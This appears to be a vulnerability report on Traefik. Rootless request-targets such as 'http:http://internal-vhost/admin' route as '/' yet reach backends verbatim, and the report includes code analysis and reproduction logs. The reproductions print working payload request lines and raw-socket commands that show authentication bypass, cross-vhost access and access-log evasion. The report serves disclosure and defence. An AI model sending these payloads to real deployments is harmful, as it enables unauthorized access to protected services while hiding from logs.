Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging

Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening encodedCharacters.allowEncodedSlash=false rejects the canonical /admin%2f..%2fsecret with 400, and does not fire at all on the opaque form carrying the identical payload.

This is not the "the operator left an opt-in permissive" shape that lesson L-012 and guideline G-03 teach us to decline. The hardening is enabled and is structurally bypassed.

Affected code

• pkg/proxy/httputil/proxy.go:97 (rewriteRequestBuilder)
• pkg/muxer/http/mux.go:139 (withRoutingPath)

Code analysis

The sink

pkg/proxy/httputil/proxy.go:87-105 sets Scheme, Host, Path, RawPath, RawQuery on pr.Out.URL and clears pr.Out.RequestURI. It never touches pr.Out.URL.Opaque, which httputil.ReverseProxy carried over from the inbound request clone:

pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI

net/http's Request.write then does ruri := r.URL.RequestURI(), and url.URL.RequestURI() returns Opaque in preference to the escaped path whenever Opaque != "". So the wire target is the attacker's string, and every field the proxy carefully set is ignored.

How Opaque gets populated

net/http's readRequest ($GOROOT/src/net/http/request.go:1104-1127) applies no origin-form check: it calls url.ParseRequestURI(rawurl) directly, and the only special case is CONNECT. url.parse returns early with Opaque = rest whenever a scheme is present and the remainder does not start with /, even for viaRequest = true. So http:http://internal-vhost/admin parses to {Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}.

Note that this string is a syntactically valid absolute-URI per RFC 3986 (path-rootless, and : is a legal pchar), so it is a legal absolute-form request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is rewriting it into a different URI when forwarding: Traefik receives a URI with no authority and emits one whose authority is internal-vhost, because RequestURI() only re-prefixes the scheme when Opaque begins with //.

Why the entry-point pipeline does not catch it

• denyFragment inspects req.URL.RawPath → empty → passes.
• normalizePath returns early when RawPath == "" → passes.
• sanitizePath (pkg/server/server_entrypoint_tcp.go:849) does r2.URL = r2.URL.JoinPath(). JoinPath does url := *u, which copies Opaque, and setPath("/"). It then does r2.RequestURI = r2.URL.RequestURI(), which returns the Opaque string. Net effect: URL.Path becomes "/", Opaque survives untouched, and RequestURI is rewritten to the attacker's authority-bearing form.
• The muxer matches on URL.Path == "/", so any Host(...)-only or PathPrefix(/) router matches. Host matching uses req.Host, which is the Host: header because URL.Host is empty for the opaque form.
• encodedcharacters (pkg/middlewares/encodedcharacters/encoded_characters.go:41) scans req.URL.EscapedPath(), which is "/". The denylist can never fire.
• accesslog (pkg/middlewares/accesslog/logger.go:244-253) rebuilds urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment} and drops Opaque, so RequestPath is logged as /.
• forwardauth (pkg/middlewares/auth/forward.go:473,499) sets X-Forwarded-Uri from req.URL.RequestURI(), so the auth server receives the string http://internal-vhost/admin, which matches neither the router's view (/) nor any normal path-prefix rule. It fails open against a prefix-based policy.

Scope

The experimental fast proxy has the identical defect: pkg/proxy/fast/proxy.go does u2 := *req.URL (copying Opaque) and outReq.SetRequestURI(u2.RequestURI()) at line 216. The scanner's location call is accurate for both.

Note this pattern is inherited from net/http/httputil.ReverseProxy, whose own NewSingleHostReverseProxy director also leaves Opaque set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.

Reproduction (J04, F4)

Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).

A. In-tree Go test (pkg/server, deleted after the run)

Entry-point chain assembled in newHTTPServer order (denyFragment → normalizePath → sanitizePath → requestdecorator → real httpmuxer with Host(app.example.com) → real httputil.ProxyBuilder), fronted by a real net/http server, driven over a raw TCP socket.

Command:

go test -run TestScanPocJ04Opaque -v ./pkg/server/

Observed:

=== RUN   TestScanPocJ04Opaque/control_origin_form
    status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN   TestScanPocJ04Opaque/absolute_form
    status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)

Conclusion: REPRODUCED. Traefik routes on Path="/" and Host="app.example.com"; the backend receives Host="internal-vhost" and Path="/admin". The %2f bytes survive to the backend's RawPath untouched. The absolute_form control (GET http://internal-vhost/admin) correctly 404s, because there URL.Host is populated so req.Host becomes internal-vhost and the router does not match: it is specifically the rootless form, where the authority is invisible to Go's Request.Host derivation but visible to the wire writer, that desyncs.

B. End-to-end on the GA image (traefik:v3.7 = v3.7.9, go1.26.5) with a real nginx backend

Topology: nginx with a default_server returning PUBLIC-VHOST and a server_name internal-vhost block returning INTERNAL-VHOST-SECRET; Traefik with a single Host(app.example.com) router, entry-point defaults, --accesslog=true. Requests sent over a raw socket with Host: app.example.com.

B1. Cross-vhost + log evasion (stock defaults):

=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com

=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost

Traefik access log for those same three requests:

"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms

B2. Differential against the documented hardening (--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false, sanitizePath=true):

=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request                       <- canonical path: protection fires

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   <- same payload, protection never fires

B3. ForwardAuth authorization bypass (middleware forwardAuth to an nginx auth service that returns 403 when X-Forwarded-Uri matches ^/admin):

=== request-target sent: '/admin'                          -> 403 DENY
=== request-target sent: 'http:/admin'                     -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

Auth-service log confirms the decision flip: 403, 403, 200.

Conclusion: REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.

Documentation grounding

Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.

(truncated ; full analysis in the linked internal report)

Reproduction (J18, F20)

Three Go probes were written into pkg/server/ of the checkout (named zz_scanpoc_J18*_test.go) and deleted afterwards; git status confirms no zz_scanpoc_J18 file remains and the checkout is still on v3.7 @ d5072ce7b8765c9574246072e05dd81d84950da7. Docker containers were removed at the end of the run.

Probe 1 — routing desync and verbatim forward. Real entry point chain (denyFragment -> normalizePath -> sanitizePath -> requestdecorator -> httpmuxer.Muxer), two routers on the same service, real pkg/proxy/httputil proxy, raw TCP backend recording the request line, driven over a raw socket.

cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v

=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
    --> raw request line: "GET http:admin/secret HTTP/1.1"
    in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- response: "HTTP/1.1 200 OK\r"
    <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
    in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)
    <-- routers matched: [router-admin(AUTH)]
    <-- response: "HTTP/1.1 401 Unauthorized\r"
PASS

The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the %2F that an encodedCharacters filter would have rejected.

Probe 2 — origin tolerance. Which origins actually resolve a rootless request-target.

go test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>

fasthttp also decodes the encoded form: GET admin%2Fsecret HTTP/1.1 yields Path="/admin/secret", RequestURI="admin%2Fsecret".

Probe 3 — end-to-end authentication bypass. Same chain as probe 1, with a real basicAuth-style gate on the /admin router and a fasthttp origin serving ADMIN_PANEL_SECRET at /admin/secret.

go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v

"GET /admin/secret HTTP/1.1"       => 401 basicAuth required
"GET http:admin/secret HTTP/1.1"   => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET

The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.

Second affected site (J18)

The finding is mechanically correct and fully reproduced end to end, including the auth bypass.

A client-controlled HTTP/1.x request-target of the form scheme:rootless/path (for example GET http:admin/secret HTTP/1.1) is parsed by Go's url.ParseRequestURI into URL.Opaque = "admin/secret" with an empty URL.Path / URL.RawPath. Traefik's entry point chain and muxer never look at URL.Opaque:

• denyFragment inspects URL.RawPath (empty) and passes.
• normalizePath returns early on empty RawPath.
• sanitizePath calls URL.JoinPath(), which rewrites Path to "/" and leaves Opaque untouched, then sets RequestURI = URL.RequestURI() = "admin/secret".
• withRoutingPath (pkg/muxer/http/mux.go:139) derives the routing path from req.URL.EscapedPath(), which ignores Opaque, so every Path / PathPrefix / PathRegexp matcher evaluates against "/".
• Both proxies copy the URL wholesale and never clear Opaque, so the outgoing request line is the attacker's target verbatim.

Result: Traefik makes its routing and middleware decision on one string ("/") and writes a different string to the backend (admin/secret). Where a host-only or PathPrefix("/") router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.

Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, five reject the rootless target with 400 (Go net/http, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only fasthttp (and the Fiber family built on it) and Python's http.server accept it. Notably Tomcat, the backend family that carried the closest prior report (GHSA-vrvv-46fp-28pp), answers 400 here.

Documentation grounding

Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.

The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents sanitizePath: true as a default-on hardening the team ships, with encodedCharacters.allowEncodedSlash: false as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on header-underscores.md, content-length.md, http2-header-memory.md or multi-tenant-kubernetes.md, documents the request-target form, absolute-form / rootless targets, URL.Opaque, or an authority carried in the target. Grep for absolute, request-target, request line, Opaque, authority across docs/content/security/ returns nothing.

This lands squarely in Step 2e's second bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator did enable the opt-in and it still failed.

Precedent in comparable projects

Searched data/competitors/*.json on absolute.form|absolute-form|absolute URI|request.target|request line|authority.form, then on smuggl|desync|normaliz.